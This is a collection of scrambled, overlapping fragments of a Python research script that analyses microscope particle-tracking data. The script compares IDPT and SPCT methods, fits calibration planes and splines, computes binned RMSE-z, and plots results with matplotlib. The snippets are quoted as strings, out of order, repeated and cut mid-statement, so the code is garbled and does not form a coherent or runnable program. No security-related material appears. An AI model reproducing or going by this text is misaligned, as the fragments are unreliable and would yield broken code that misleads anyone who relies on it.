"= 37.25 xyticks = [-30, -15, 0, 15, 30] ms = 3 #",
"ax.set_ylim([0, 200]) ax.legend() plt.tight_layout() if save_plots: plt.savefig(path_figs + '/compare-idpt-spct_num-particles.png') if show_plots: plt.show() plt.close()",
"----- 4.1 CORRECT TEST COORDS correct_test_coords = False if correct_test_coords: use_idpt_zf = False",
"all calibration image sets (by using the same beginning and ending tick mark",
"pandas as pd from scipy.optimize import curve_fit import filter import analyze from correction",
"# --- rmse_all_particles = False rmse_on_off_bpe = False rmse_compare = False # format",
"filter calibration coords dfcpid = dfcpid[(dfcpid[param_zf] > zf_c_mean - zf_c_std / 2) &",
"# ---------------------------------------------------------------------------------------------------------------------- # 3. ANALYSIS - READ FILES method = 'idpt' microns_per_pixel =",
"area_pixels = 512 ** 2 area_microns = (512 * microns_per_pixel) ** 2 i_num_rows",
"ms=ms, color=sciblue, label=r'$IDPT$') ax.plot(dfs_offc.z_true, dfs_offc.z, '-o', ms=ms, color=lighten_color(scigreen, 1.0), label=r'$SPCT_{Low}$') ax.plot(dfs_onc.z_true, dfs_onc.z, '-o',",
"= join(path_calib_coords, 'calib_spct_pid_defocus_stats_calib2_xy.xlsx') dfcpid = pd.read_excel(path_calib_pid_defocus) # step 2. remove outliers # 2.1",
"darken_clr = 1.0 alpha_clr = 1.0 fig, [axr, ax] = plt.subplots(nrows=2, sharex=True, gridspec_kw={'height_ratios':",
"df2.rmse_z, '-o', ms=ms, label=lbls[1], color=scired) ax.plot(df1.bin, df1.rmse_z, '-o', ms=ms, label=lbls[0], color=sciorange) ax.set_xlabel(r'$z_{true} \\:",
"import pandas as pd from scipy.optimize import curve_fit import filter import analyze from",
"s=ss, marker=markers[0], color=sciorange, label=lbls[0]) ax.scatter(df_edge.z_true, df_edge.z, s=ss, marker=markers[1], color=scired, label=lbls[1]) ax.set_xlabel(r'$z_{true} \\: (\\mu",
"= plt.subplots() size_x_inches, size_y_inches = fig.get_size_inches() plt.close(fig) # ---------------------------------------------------------------------------------------------------------------------- # 1. SETUP -",
"ax.plot(df1.bin, df1.rmse_z, '-o', ms=ms, label=lbls[0], color=sciorange) ax.set_xlabel(r'$z_{true} \\: (\\mu m)$') ax.set_xlim([-xylim, xylim]) ax.set_xticks(ticks=xyticks,",
"m)$') plt.tight_layout() if save_plots: plt.savefig(path_figs + '/rmse-z_microns.png') if show_plots: plt.show() plt.close() # -----------------------",
"fig, ax = plt.subplots() ax.scatter(df_off.z_true, df_off.z, s=ss, marker=markers[2], color=sciblue, label=lbls[2]) ax.scatter(df_on.z_true, df_on.z, s=ss,",
"2]}) axr.plot(dftm.z_true, dftm.cm, '-o', ms=ms - 1, color=sciblue) axr.plot(dfs_offm.z_true, dfs_offm.cm, '-o', ms=ms -",
"---------------------------------------------------------------------------------------------------------------------- # 4. PLOT TEST COORDS RMSE-Z analyze_test_coords = False save_plots = False",
"used for IDPT calibration path_spct_calib_coords = join(base_dir, 'results-04.26.22_spct_calib1_test-2-3/coords/calib-coords') path_calib_pid_defocus = join(path_spct_calib_coords, 'calib_spct_pid_defocus_stats_c-calib1_t-calib2.xlsx') path_calib_spct_stats",
"show_plots: plt.show() plt.close() if rmse_compare: # 1. read binned rmse-z dataframes from Excel",
"+ '/calibration-coords_fit-spline_kx{}_ky{}.png'.format(kx, ky)) plt.close() # --- # --- PART B. READ COORDS USED",
"plt.show() plt.close() # ---------------------------------------------------------------------------------------------------------------------- # 5. IDPT VS. SPCT - COMPARE NUMBER OF",
"plt.tight_layout() if save_plots: plt.savefig(path_figs + '/compare-on-edge-off-bpe_rmse-z_microns_cm.png') if show_plots: plt.show() plt.close() # ---------------------------------------------------------------------------------------------------------------------- #",
"mark on the fine adjustment knob during image acquisition). \"\"\" # -------------------------------------------------------------------------------------------------------------- #",
"2)] dfcpid = dfcpid[dfcpid['x'] > 120] # step 3. fit plane dictc_fit_plane =",
"= plt.subplots() ax.plot(dftc.z_true, dftc.z, '-o', ms=ms, color=sciblue, label=r'$IDPT$') ax.plot(dfs_offc.z_true, dfs_offc.z, '-o', ms=ms, color=lighten_color(scigreen,",
"1.3 plot binned rmse-z if save_plots or show_plots: # close all figs plt.close('all')",
"df_ground_truth=None, dropna=True, error_column='error', ) dfrmse_mean.to_excel(path_results + '/{}_mean-rmse-z_bin=1_no-filters.xlsx'.format(lbl)) # 1.2 binned rmse-z dfrmse =",
"filter z_true for pretty plotting zlim = 35 dftc = dftc[(dftc['z_true'] > -zlim)",
"1.01]) plt.tight_layout() if save_plots: plt.savefig(path_figs + '/average-particle-to-particle-similarity.png') plt.show() plt.close() j = 1 print(\"Analysis",
"'-o', ms=ms - 1, color=lighten_color(scigreen, 1.2)) axr.set_ylabel(r'$c_{m}$') axr.set_ylim([0.790, 1.01]) axr.set_yticks([0.8, 0.9, 1.0]) ax.plot(dftc.z_true,",
"ax.legend() plt.tight_layout() if save_plots: plt.savefig(path_figs + '/compare-idpt-spct_num-particles.png') if show_plots: plt.show() plt.close() # ---",
"SIMILARITY PER-FRAME plot_average_particle_similarity = False if plot_average_particle_similarity: # setup save_plots = True xylim",
"IDPT VS. SPCT - COMPARE NUMBER OF PARTICLES PER Z compare_idpt_spct = False",
"'calib_spct_stats_c-calib1_t-calib2.xlsx') path_calib_spct_pop = join(path_spct_calib_coords, 'calib_spct_pop_defocus_stats_c-calib1_t-calib2.xlsx') # SPCT analysis of images used for IDPT",
"'{}_binned-rmse-z_bins=20_no-filters.xlsx'.format(lbls[2]))) # 1.3 plot binned rmse-z if save_plots or show_plots: ms = 4",
"(microns) + fit line fig, ax = plt.subplots() ax.errorbar(dfrmsem.z_true, dfrmsem.z, yerr=dfrmsestd.z, fmt='o', ms=3,",
"z_f from peak_intensity z_f_mean = 35.1 dfs_off['z'] = dfs_off['z'] - z_f_mean dfs_off['z_true'] =",
"z_true for pretty plotting zlim = 35 dftc = dftc[(dftc['z_true'] > -zlim) &",
"0, 15, 30] ms = 3 # read dataframe fp = join(base_dir, 'average-particle-similarity/'",
"# ----------------------- BASIC RMSE-Z PLOTS # rmse-z: microns fig, ax = plt.subplots() ax.plot(dfrmse.index,",
"a 2D spline to the in-focus particle positions and uses this to set",
"if show_plots: plt.show() plt.close() if rmse_compare: # 1. read binned rmse-z dataframes from",
"handletextpad=0.25, borderaxespad=0.3) plt.tight_layout() if save_plots: plt.savefig(path_figs + '/calibration_curve_z+std-errobars_fit_line_a{}_b{}_slope-label-blk.png'.format( np.round(popt[0], 3), np.round(popt[1], 3)) )",
"z_f_mean dfs_on['z'] = dfs_on['z'] - z_f_mean dfs_on['z_true'] = dfs_on['z_true'] - z_f_mean # ---",
"label=lbls[1]) ax.plot(df1.bin, df1.rmse_z, '-', ms=ms-0.75, marker=markers[0], color=sciorange, label=lbls[0]) ax.set_xlabel(r'$z_{true} \\: (\\mu m)$') ax.set_xlim([-xylim,",
"plt.subplots(nrows=2, sharex=True, gridspec_kw={'height_ratios': [1, 2]}) axr.plot(dftm.z_true, dftm.cm, '-o', ms=ms - 1, color=sciblue) axr.plot(dfs_offm.z_true,",
"dfcpid[(dfcpid[param_zf] > zf_c_mean - zf_c_std) & (dfcpid[param_zf] < zf_c_mean + zf_c_std)] # step",
"if analyze_test_coords: # read test coords dft = io.read_test_coords(path_test_coords) # test coords stats",
"if show_plots: plt.show() plt.close() # ----------------------- Z-MEAN +/- Z-STD PLOTS # fit line",
"= dft.rename(columns={'z_corr': 'z', 'z_true_corr': 'z_true'}) # --- 2. SPCT # 2.1 read SPCT",
"coords dfcpid = dfcpid[(dfcpid[param_zf] > zf_c_mean - zf_c_std / 2) & (dfcpid[param_zf] <",
"coords and merge ['x', 'y'] into pid_defocus_stats dfcpid = pd.read_excel(path_test_pid_defocus) dfcstats = pd.read_excel(path_test_spct_stats)",
"path_rmse_compare = join(path_results, 'on-edge-off-bpe') df1 = pd.read_excel(join(path_rmse_compare, '{}_binned-rmse-z_bins=20_no-filters.xlsx'.format(lbls[0]))) df2 = pd.read_excel(join(path_rmse_compare, '{}_binned-rmse-z_bins=20_no-filters.xlsx'.format(lbls[1]))) df3",
"z_true for pretty plotting dftm = dftm[(dftm['z_true'] > -zlim) & (dftm['z_true'] < zlim)]",
"6. AVERAGE PARTICLE-TO-PARTICLE SIMILARITY PER-FRAME plot_average_particle_similarity = False if plot_average_particle_similarity: # setup save_plots",
"zlim = 35 dftc = dftc[(dftc['z_true'] > -zlim) & (dftc['z_true'] < zlim)] dfs_offc",
"plt.subplots() ax.plot(dftc.z_true, dftc.z, '-o', ms=ms, color=sciblue, label=r'$IDPT$') ax.plot(dfs_offc.z_true, dfs_offc.z, '-o', ms=ms, color=lighten_color(scigreen, 1.0),",
"if rmse_compare: # 1. read binned rmse-z dataframes from Excel path_rmse_compare = join(path_results,",
"ax.set_xlabel(r'$z \\: (\\mu m)$') ax.set_xlim([-xylim, xylim]) ax.set_xticks(xyticks) ax.set_ylabel(r'$N_{p} \\: (\\#)$') ax.set_ylim([0, 200]) ax.legend()",
"analysis of images used for IDPT calibration path_spct_calib_coords = join(base_dir, 'results-04.26.22_spct_calib1_test-2-3/coords/calib-coords') path_calib_pid_defocus =",
"plotting.plot_fitted_plane_and_points(df=dfcpid, dict_fit_plane=dictc_fit_plane) plt.savefig(path_figs + '/calibration-coords_fit-plane_raw.png') plt.close() dfict_fit_plane = pd.DataFrame.from_dict(dictc_fit_plane, orient='index', columns=['value']) dfict_fit_plane.to_excel(path_figs +",
"False rmse_on_off_bpe = False rmse_compare = False # format plots xylim = 37.25",
"microns_per_pixel=microns_per_pixel) popt_c = dictc_fit_plane['popt_pixels'] if plot_calib_plane: fig = plotting.plot_fitted_plane_and_points(df=dfcpid, dict_fit_plane=dictc_fit_plane) plt.savefig(path_figs + '/calibration-coords_fit-plane_raw.png')",
"# 2.2 filter calibration coords dfcpid = dfcpid[(dfcpid[param_zf] > zf_c_mean - zf_c_std) &",
"Colors: Light Blue: #7BC8F6 Paler Blue: #0343DF Azure: #069AF3 Dark Green: #054907 \"\"\"",
"pd.read_excel(join(path_rmse_compare, '{}_binned-rmse-z_bins=20_no-filters.xlsx'.format(lbls[0]))) df2 = pd.read_excel(join(path_rmse_compare, '{}_binned-rmse-z_bins=20_no-filters.xlsx'.format(lbls[1]))) df3 = pd.read_excel(join(path_rmse_compare, '{}_binned-rmse-z_bins=20_no-filters.xlsx'.format(lbls[2]))) # 1.3 plot",
"plt.tight_layout() if save_plots: plt.savefig(path_figs + '/calibration_curve_z+std-errobars_fit_line_a{}_b{}_slope-label-blk.png'.format( np.round(popt[0], 3), np.round(popt[1], 3)) ) if show_plots:",
"save_plots: plt.savefig(path_figs + '/{}_calibration_curve_z+std-errobars_fit_line_a{}_b{}_slope-label-blk.png'.format( lbl, np.round(popt[0], 3), np.round(popt[1], 3)) ) if show_plots: plt.show()",
"Other Colors: Light Blue: #7BC8F6 Paler Blue: #0343DF Azure: #069AF3 Dark Green: #054907",
"-zlim) & (dfs_offc['z_true'] < zlim)] dfs_onc = dfs_onc[(dfs_onc['z_true'] > -zlim) & (dfs_onc['z_true'] <",
"FIGURE 1. PLOT NUMBER OF PARTICLES PER Z_TRUE fig, ax = plt.subplots() ax.plot(dftc.z_true,",
"35.1 dfs_off['z'] = dfs_off['z'] - z_f_mean dfs_off['z_true'] = dfs_off['z_true'] - z_f_mean dfs_on['z'] =",
"plot_collections from utils.plotting import lighten_color # A note on SciencePlots colors \"\"\" Blue:",
"- zf_c_std) & (dfcpid[param_zf] < zf_c_mean + zf_c_std)] # step 3. fit plane",
"Light Blue: #7BC8F6 Paler Blue: #0343DF Azure: #069AF3 Dark Green: #054907 \"\"\" sciblue",
"\\: (\\mu m)$') ax.set_xlim([-xylim, xylim]) ax.set_xticks(ticks=xyticks, labels=xyticks) ax.set_ylabel(r'$z \\: (\\mu m)$') ax.set_ylim([-xylim, xylim])",
"handletextpad=0.25, borderaxespad=0.3) plt.tight_layout() if save_plots: plt.savefig(path_figs + '/{}_calibration_curve_z+std-errobars_fit_line_a{}_b{}_slope-label-blk.png'.format( lbl, np.round(popt[0], 3), np.round(popt[1], 3))",
"with the intention of making the z-coords identical for all calibration image sets",
"5. IDPT VS. SPCT - COMPARE NUMBER OF PARTICLES PER Z compare_idpt_spct =",
"'#0C5DA5' scigreen = '#00B945' scired = '#FF9500' sciorange = '#FF2C00' plt.style.use(['science', 'ieee', 'std-colors'])",
"2D SPLINE AND PLOT RAW POINTS + FITTED SURFACE (NO CORRECTION) bispl_c, rmse_c",
"2. FOR EACH DATAFRAME (ON, EDGE, OFF), COMPUTE RMSE-Z AND PLOT for lbl,",
"df2.rmse_z, '-', ms=ms-0.75, marker=markers[1], color=scired, label=lbls[1]) ax.plot(df1.bin, df1.rmse_z, '-', ms=ms-0.75, marker=markers[0], color=sciorange, label=lbls[0])",
"\"\"\" # -------------------------------------------------------------------------------------------------------------- # SETUP - SPCT CALIBRATION IN-FOCUS COORDS # SPCT analysis",
"& (dfs_onm['z_true'] < zlim)] # plot fig, [axr, ax] = plt.subplots(nrows=2, sharex=True, gridspec_kw={'height_ratios':",
"AVERAGE PARTICLE-TO-PARTICLE SIMILARITY PER-FRAME plot_average_particle_similarity = False if plot_average_particle_similarity: # setup save_plots =",
"# step 8. export corrected test_coords dft.to_excel(path_results + '/test_coords_corrected_t-calib2_c-calib1.xlsx', index=False) elif use_spct_zf: \"\"\"",
"'calib_spct_pid_defocus_stats_calib1_xy.xlsx') dfcpid = pd.read_excel(path_calib_pid_defocus) # step 2. remove outliers # 2.1 get z_in-focus",
"label=lbls[2], color=sciblue) ax.plot(df2.bin, df2.rmse_z, '-o', ms=ms, label=lbls[1], color=scired) ax.plot(df1.bin, df1.rmse_z, '-o', ms=ms, label=lbls[0],",
"plotting zlim = 35 dftc = dftc[(dftc['z_true'] > -zlim) & (dftc['z_true'] < zlim)]",
"kx=kx, ky=ky) if plot_calib_spline: fig, ax = plotting.scatter_3d_and_spline(dfcpid.x, dfcpid.y, dfcpid[param_zf], bispl_c, cmap='RdBu', grid_resolution=30,",
"z_f_mean # --- 3. GROUPBY Z_TRUE dftg = dft.copy() dftg = dftg.round({'z_true': 0})",
"'calib_spct_stats_c-calib2_t-calib3.xlsx') path_test_spct_pop = join(path_spct_test_coords, 'calib_spct_pop_defocus_stats_c-calib2_t-calib3.xlsx') # -------------------------------------------------------------------------------------------------------------- # --- PART A. READ COORDS",
"# --- 2. SPCT # 2.1 read SPCT off-bpe test coords dfs_off =",
"mean z_f from peak_intensity z_f_mean = 35.1 dfs_off['z'] = dfs_off['z'] - z_f_mean dfs_off['z_true']",
"= fit.fit_3d_spline(x=dfcpid.x, y=dfcpid.y, z=dfcpid[param_zf], kx=kx, ky=ky) if plot_calib_spline: fig, ax = plotting.scatter_3d_and_spline(dfcpid.x, dfcpid.y,",
"join(path_idpt, 'coords/calib-coords') path_similarity = join(path_idpt, 'similarity') path_results = join(path_idpt, 'results') path_figs = join(path_idpt,",
"ax.legend() plt.tight_layout() if save_plots: plt.savefig(path_figs + '/compare-idpt-spct_num-particles_and_cm.png') if show_plots: plt.show() plt.close() # ----------------------------------------------------------------------------------------------------------------------",
"Z-STD PLOTS # fit line popt, pcov = curve_fit(functions.line, dfrmse.z_true, dfrmse.z) z_fit =",
"# 2.2 filter calibration coords dfcpid = dfcpid[(dfcpid[param_zf] > zf_c_mean - zf_c_std /",
"off-bpe test coords dfs_off = pd.read_excel('/Users/mackenzie/Desktop/gdpyt-characterization/experiments/11.02.21-BPE_Pressure_Deflection_20X/analyses/results-04.26.22_spct_calib1_test-2-3/coords/test-coords/test_coords_t-calib2_c-calib1.xlsx') dfs_on = pd.read_excel('/Users/mackenzie/Desktop/gdpyt-characterization/experiments/11.02.21-BPE_Pressure_Deflection_20X/analyses/results-04.26.22_spct_stack-id-on-bpe/testcalib2_calcalib1/test_coords_t_20X_ccalib1_tcalib2_c_20X_tcalib2_ccalib1_2022-04-26 20:45:34.334931.xlsx') # 2.2 correct",
"'/compare-idpt-spct_num-particles_and_cm.png') if show_plots: plt.show() plt.close() # ---------------------------------------------------------------------------------------------------------------------- # 6. AVERAGE PARTICLE-TO-PARTICLE SIMILARITY PER-FRAME",
"FITTED SURFACE (NO CORRECTION) bispl_c, rmse_c = fit.fit_3d_spline(x=dfcpid.x, y=dfcpid.y, z=dfcpid[param_zf], kx=kx, ky=ky) if",
"plt.subplots() ax.plot(dfsim.z_corr, dfsim.sim, '-o', ms=ms) ax.set_xlabel(r'$z \\: (\\mu m)$') ax.set_xlim([-xylim, xylim]) ax.set_xticks(xyticks) ax.set_ylabel(r'$S",
"zf_c_std / 2)] # step 3. fit plane dictc_fit_plane = correct.fit_in_focus_plane(df=dfcpid, param_zf=param_zf, microns_per_pixel=microns_per_pixel)",
"\\: (\\mu m)$') ax.set_xlim([-xylim, xylim]) ax.set_xticks(xyticks) ax.set_ylabel(r'$S (p_{i}, p_{N})$') ax.set_ylim([0.49, 1.01]) plt.tight_layout() if",
"for pretty plotting zlim = 35 dftc = dftc[(dftc['z_true'] > -zlim) & (dftc['z_true']",
"label=r'$SPCT_{Low}$') ax.plot(dfs_onc.z_true, dfs_onc.z, '-o', ms=ms, color=lighten_color(scigreen, 1.2), label=r'$SPCT_{High}$') ax.set_xlabel(r'$z \\: (\\mu m)$') ax.set_xlim([-xylim,",
"- SPCT CALIBRATION IN-FOCUS COORDS # SPCT analysis of images used for IDPT",
"color=scired, label=lbls[1]) ax.set_xlabel(r'$z_{true} \\: (\\mu m)$') ax.set_xlim([-xylim, xylim]) ax.set_xticks(ticks=xyticks, labels=xyticks) ax.set_ylabel(r'$z \\: (\\mu",
"< zlim)] # plot fig, [axr, ax] = plt.subplots(nrows=2, sharex=True, gridspec_kw={'height_ratios': [1, 2]})",
"\\: (\\mu m)$') plt.suptitle('fit RMSE = {}'.format(np.round(rmse_c, 3))) plt.savefig(path_figs + '/idpt-calib-coords_fit-spline_kx{}_ky{}.png'.format(kx, ky)) plt.close()",
"0.5 # 1.1 mean rmse-z dfrmse_mean = bin.bin_local_rmse_z(dft, column_to_bin=column_to_bin, bins=1, min_cm=min_cm, z_range=None, round_to_decimal=round_z_to_decimal,",
"= pd.DataFrame.from_dict(dictc_fit_plane, orient='index', columns=['value']) dfict_fit_plane.to_excel(path_figs + '/calibration-coords_fit-plane_raw.xlsx') # FIT SMOOTH 2D SPLINE AND",
"from os.path import join from os import listdir import matplotlib.pyplot as plt #",
"dfsim.sim, '-o', ms=ms) ax.set_xlabel(r'$z \\: (\\mu m)$') ax.set_xlim([-xylim, xylim]) ax.set_xticks(xyticks) ax.set_ylabel(r'$S (p_{i}, p_{N})$')",
"'{}_binned-rmse-z_bins=20_no-filters.xlsx'.format(lbls[1]))) df3 = pd.read_excel(join(path_rmse_compare, '{}_binned-rmse-z_bins=20_no-filters.xlsx'.format(lbls[2]))) # 1.3 plot binned rmse-z if save_plots or",
"1. CALCULATE RMSE-Z FOR ALL PARTICLES column_to_bin = 'z_true' bins_z = 20 round_z_to_decimal",
"'/Users/mackenzie/Desktop/gdpyt-characterization/experiments/11.02.21-BPE_Pressure_Deflection_20X/analyses/' # ---------------------------------------------------------------------------------------------------------------------- # 2. SETUP - IDPT path_idpt = join(base_dir, 'results-04.26.22_idpt') path_test_coords",
"SPCT off-bpe test coords dfs_off = pd.read_excel('/Users/mackenzie/Desktop/gdpyt-characterization/experiments/11.02.21-BPE_Pressure_Deflection_20X/analyses/results-04.26.22_spct_calib1_test-2-3/coords/test-coords/test_coords_t-calib2_c-calib1.xlsx') dfs_on = pd.read_excel('/Users/mackenzie/Desktop/gdpyt-characterization/experiments/11.02.21-BPE_Pressure_Deflection_20X/analyses/results-04.26.22_spct_stack-id-on-bpe/testcalib2_calcalib1/test_coords_t_20X_ccalib1_tcalib2_c_20X_tcalib2_ccalib1_2022-04-26 20:45:34.334931.xlsx') # 2.2",
"Dark Green: #054907 \"\"\" sciblue = '#0C5DA5' scigreen = '#00B945' scired = '#FF9500'",
"dft['z_true'] - dft['z_cal_surf'] # step 8. export corrected test_coords dft.to_excel(path_results + '/test_coords_corrected_t-calib2_c-calib1.xlsx', index=False)",
"\\: (\\mu m)$') ax.set_xlim([-xylim, xylim]) ax.set_xticks(xyticks) ax.set_ylabel(r'$N_{p} \\: (\\#)$') ax.set_ylim([0, 185]) ax.set_yticks([0, 50,",
"dfict_fit_plane.to_excel(path_figs + '/test-coords_fit-plane_raw.xlsx') # FIT SMOOTH 2D SPLINE AND PLOT RAW POINTS +",
"save_plots = True xylim = 37.25 xyticks = [-30, -15, 0, 15, 30]",
"fig, ax = plotting.scatter_3d_and_spline(dfcpid.x, dfcpid.y, dfcpid[param_zf], bispl_c, cmap='RdBu', grid_resolution=30, view='multi') ax.set_xlabel('x (pixels)') ax.set_ylabel('y",
"8. export corrected test_coords dft.to_excel(path_results + '/test_coords_corrected_t-calib2_c-calib1.xlsx', index=False) elif use_spct_zf: \"\"\" NOTE: No",
"dfs_offm = dfs_off.groupby('z_true').mean().reset_index() dfs_onm = dfs_on.groupby('z_true').mean().reset_index() # filter z_true for pretty plotting dftm",
"path_calib_pid_defocus = join(path_calib_coords, 'calib_spct_pid_defocus_stats_calib2_xy.xlsx') dfcpid = pd.read_excel(path_calib_pid_defocus) # step 2. remove outliers #",
"dfcstats = pd.read_excel(path_calib_spct_stats) dfcpid = modify.merge_calib_pid_defocus_and_correction_coords(path_calib_coords, method, dfs=[dfcstats, dfcpid]) else: # read SPCT",
"= dfbx[dfbx['bin'] == bins_x[0]] df_edge = dfbx[dfbx['bin'] == bins_x[1]] df_off = dfbx[dfbx['bin'] ==",
"- dft['z_cal_surf'] # step 8. export corrected test_coords dft.to_excel(path_results + '/test_coords_corrected_t-calib2_c-calib1.xlsx', index=False) elif",
"- zf_c_std / 2) & (dfcpid[param_zf] < zf_c_mean + zf_c_std / 2)] #",
"correct z dft = correct.correct_z_by_spline(dft, bispl=bispl_c, param_z='z') dft['z_true_corr'] = dft['z_true'] - dft['z_cal_surf'] #",
"compare_idpt_spct: # --- 1. IDPT # read IDPT test coords dft = io.read_test_coords(path_test_coords)",
"bins_x[2]] # --- plotting # --- STEP 1. PLOT CALIBRATION CURVE (Z VS.",
"# rmse-z (microns) + c_m darken_clr = 1.0 alpha_clr = 1.0 fig, [axr,",
"xyticks = [-30, -15, 0, 15, 30] lbls = ['On', 'Border', 'Off'] markers",
"rmse_on_off_bpe: # --- STEP 0. SPLIT DATAFRAME INTO (1) OFF BPE and (2)",
"z=dfcpid[param_zf], kx=kx, ky=ky) fig, ax = plotting.scatter_3d_and_spline(dfcpid.x, dfcpid.y, dfcpid[param_zf], bispl_c, cmap='RdBu', grid_resolution=30, view='multi')",
"utils import fit, functions, bin, io, plotting, modify, plot_collections from utils.plotting import lighten_color",
"AND CM dftm = dftg.groupby('z_true').mean().reset_index() dfs_offm = dfs_off.groupby('z_true').mean().reset_index() dfs_onm = dfs_on.groupby('z_true').mean().reset_index() # filter",
"fig = plotting.plot_fitted_plane_and_points(df=dfcpid, dict_fit_plane=dictc_fit_plane) plt.savefig(path_figs + '/idpt-calib-coords_fit-plane_raw.png') plt.close() dfict_fit_plane = pd.DataFrame.from_dict(dictc_fit_plane, orient='index', columns=['value'])",
"fig, [axr, ax] = plt.subplots(nrows=2, sharex=True, gridspec_kw={'height_ratios': [1, 2]}) axr.plot(dftm.z_true, dftm.cm, '-o', ms=ms",
"- dfrmse.z) ** 2) / len(dfrmse.z)) print(rmse_fit_line) # binned calibration curve with std-z",
"= dft['z_true'] - dft['z_cal_surf'] # step 8. export corrected test_coords dft.to_excel(path_results + '/test_coords_corrected_t-calib2_c-calib1.xlsx',",
"= 1.0 fig, [axr, ax] = plt.subplots(nrows=2, sharex=True, gridspec_kw={'height_ratios': [1, 2]}) axr.plot(df3.bin, df3.cm,",
"dfrmse.z) z_fit = np.linspace(dfrmse.z_true.min(), dfrmse.z_true.max()) rmse_fit_line = np.sqrt(np.sum((functions.line(dfrmse.z_true, *popt) - dfrmse.z) ** 2)",
"defocus stats that have already been merged path_calib_pid_defocus = join(path_calib_coords, 'calib_spct_pid_defocus_stats_calib1_xy.xlsx') dfcpid =",
"os from os.path import join from os import listdir import matplotlib.pyplot as plt",
"['x', 'y'] into pid_defocus_stats dfcpid = pd.read_excel(path_calib_pid_defocus) dfcstats = pd.read_excel(path_calib_spct_stats) dfcpid = modify.merge_calib_pid_defocus_and_correction_coords(path_calib_coords,",
"bin.bin_local_rmse_z(dft, column_to_bin=column_to_bin, bins=bins_z, min_cm=min_cm, z_range=None, round_to_decimal=round_z_to_decimal, df_ground_truth=None, dropna=True, error_column='error', ) dfrmse.to_excel(path_results + '/{}_binned-rmse-z_bins={}_no-filters.xlsx'.format(lbl,",
"zf_c_std = dfcpid[param_zf].std() # 2.2 filter calibration coords dfcpid = dfcpid[(dfcpid[param_zf] > zf_c_mean",
"label=lbls[1]) ax.set_xlabel(r'$z_{true} \\: (\\mu m)$') ax.set_xlim([-xylim, xylim]) ax.set_xticks(ticks=xyticks, labels=xyticks) ax.set_ylabel(r'$z \\: (\\mu m)$')",
"curve_fit import filter import analyze from correction import correct from utils import fit,",
"\\: (\\mu m)$') ax.set_xlim([-xylim, xylim]) ax.set_xticks(ticks=xyticks, labels=xyticks) ax.set_ylabel(r'$\\sigma_{z} \\: (\\mu m)$') ax.legend() plt.tight_layout()",
"microns_per_pixel) ** 2 i_num_rows = len(dft) i_num_pids = len(dft.id.unique()) dft = dft.drop(columns=['z', 'z_true'])",
"OF PARTICLES PER Z_TRUE fig, ax = plt.subplots() ax.plot(dftc.z_true, dftc.z, '-o', ms=ms, color=sciblue,",
"m)$') ax.set_ylim([-xylim, xylim]) ax.set_yticks(ticks=xyticks, labels=xyticks) ax.legend(loc='lower right', handletextpad=0.25, borderaxespad=0.3) plt.tight_layout() if save_plots: plt.savefig(path_figs",
"label=lbls[2]) ax.scatter(df_on.z_true, df_on.z, s=ss, marker=markers[0], color=sciorange, label=lbls[0]) ax.scatter(df_edge.z_true, df_edge.z, s=ss, marker=markers[1], color=scired, label=lbls[1])",
"color='black', alpha=0.25, label=r'$dz/dz_{true} = $' + ' {}'.format(np.round(popt[0], 3))) ax.set_xlabel(r'$z_{true} \\: (\\mu m)$')",
"dfcpid = pd.read_excel(path_calib_pid_defocus) dfcstats = pd.read_excel(path_calib_spct_stats) dfcpid = modify.merge_calib_pid_defocus_and_correction_coords(path_calib_coords, method, dfs=[dfcstats, dfcpid]) else:",
"columns=['value']) dfict_fit_plane.to_excel(path_figs + '/idpt-calib-coords_fit-plane_raw.xlsx') # step 4. FIT SMOOTH 2D SPLINE AND PLOT",
"np.sqrt(np.sum((functions.line(dfrmse.z_true, *popt) - dfrmse.z) ** 2) / len(dfrmse.z)) print(rmse_fit_line) # binned calibration curve",
"dfrmse.to_excel(path_results + '/{}_binned-rmse-z_bins={}_no-filters.xlsx'.format(lbl, bins_z)) # 1.3 groupby 'bin' rmse-z mean + std dfrmsem,",
"- IDPT path_idpt = join(base_dir, 'results-04.26.22_idpt') path_test_coords = join(path_idpt, 'coords/test-coords') path_calib_coords = join(path_idpt,",
"2.2 filter calibration coords dfcpid = dfcpid[(dfcpid[param_zf] > zf_c_mean - zf_c_std / 2)",
"dataframes from Excel path_rmse_compare = join(path_results, 'on-edge-off-bpe') df1 = pd.read_excel(join(path_rmse_compare, '{}_binned-rmse-z_bins=20_no-filters.xlsx'.format(lbls[0]))) df2 =",
"> zf_c_mean - zf_c_std / 2) & (dfcpid[param_zf] < zf_c_mean + zf_c_std /",
"dfrmse.z)**2) / len(dfrmse.z)) print(rmse_fit_line) # binned calibration curve with std-z errorbars (microns) +",
"(\\mu m)$') plt.suptitle('fit RMSE = {}'.format(np.round(rmse_c, 3))) plt.savefig(path_figs + '/test-coords_fit-spline_kx{}_ky{}.png'.format(kx, ky)) plt.close() #",
"test coords stats mag_eff = 20.0 area_pixels = 512 ** 2 area_microns =",
"dft = dft[['frame', 'id', 'z', 'z_true', 'x', 'y', 'cm', 'error']] # step 7.",
"marker=markers[1], color=scired, label=lbls[1]) ax.plot(df1.bin, df1.rmse_z, '-', ms=ms-0.75, marker=markers[0], color=sciorange, label=lbls[0]) ax.set_xlabel(r'$z_{true} \\: (\\mu",
"& (dfcpid[param_zf] < zf_c_mean + zf_c_std / 2)] dfcpid = dfcpid[dfcpid['x'] > 120]",
"of images used for IDPT calibration path_spct_calib_coords = join(base_dir, 'results-04.26.22_spct_calib1_test-2-3/coords/calib-coords') path_calib_pid_defocus = join(path_spct_calib_coords,",
"(\\mu m)$') ax.set_xlim([-xylim, xylim]) ax.set_xticks(ticks=xyticks, labels=xyticks) ax.set_ylabel(r'$\\sigma_{z} \\: (\\mu m)$') plt.tight_layout() if save_plots:",
"= 'zf_from_peak_int' plot_calib_plane = False plot_calib_spline = False kx, ky = 2, 2",
"df_off = dfbx[dfbx['bin'] == bins_x[2]] # --- plotting # --- STEP 1. PLOT",
"185]) ax.set_yticks([0, 50, 100, 150]) ax.legend() plt.tight_layout() if save_plots: plt.savefig(path_figs + '/compare-idpt-spct_num-particles_and_cm.png') if",
"read test coords dft = io.read_test_coords(path_test_coords) # test coords stats mag_eff = 20.0",
"BASIC RMSE-Z PLOTS # rmse-z: microns fig, ax = plt.subplots() ax.plot(df3.bin, df3.rmse_z, '-o',",
"# plot fig, ax = plt.subplots() ax.plot(dfsim.z_corr, dfsim.sim, '-o', ms=ms) ax.set_xlabel(r'$z \\: (\\mu",
"--- 1. IDPT # read IDPT test coords dft = io.read_test_coords(path_test_coords) # test",
"dfsim = pd.read_excel(fp) # plot fig, ax = plt.subplots() ax.plot(dfsim.z_corr, dfsim.sim, '-o', ms=ms)",
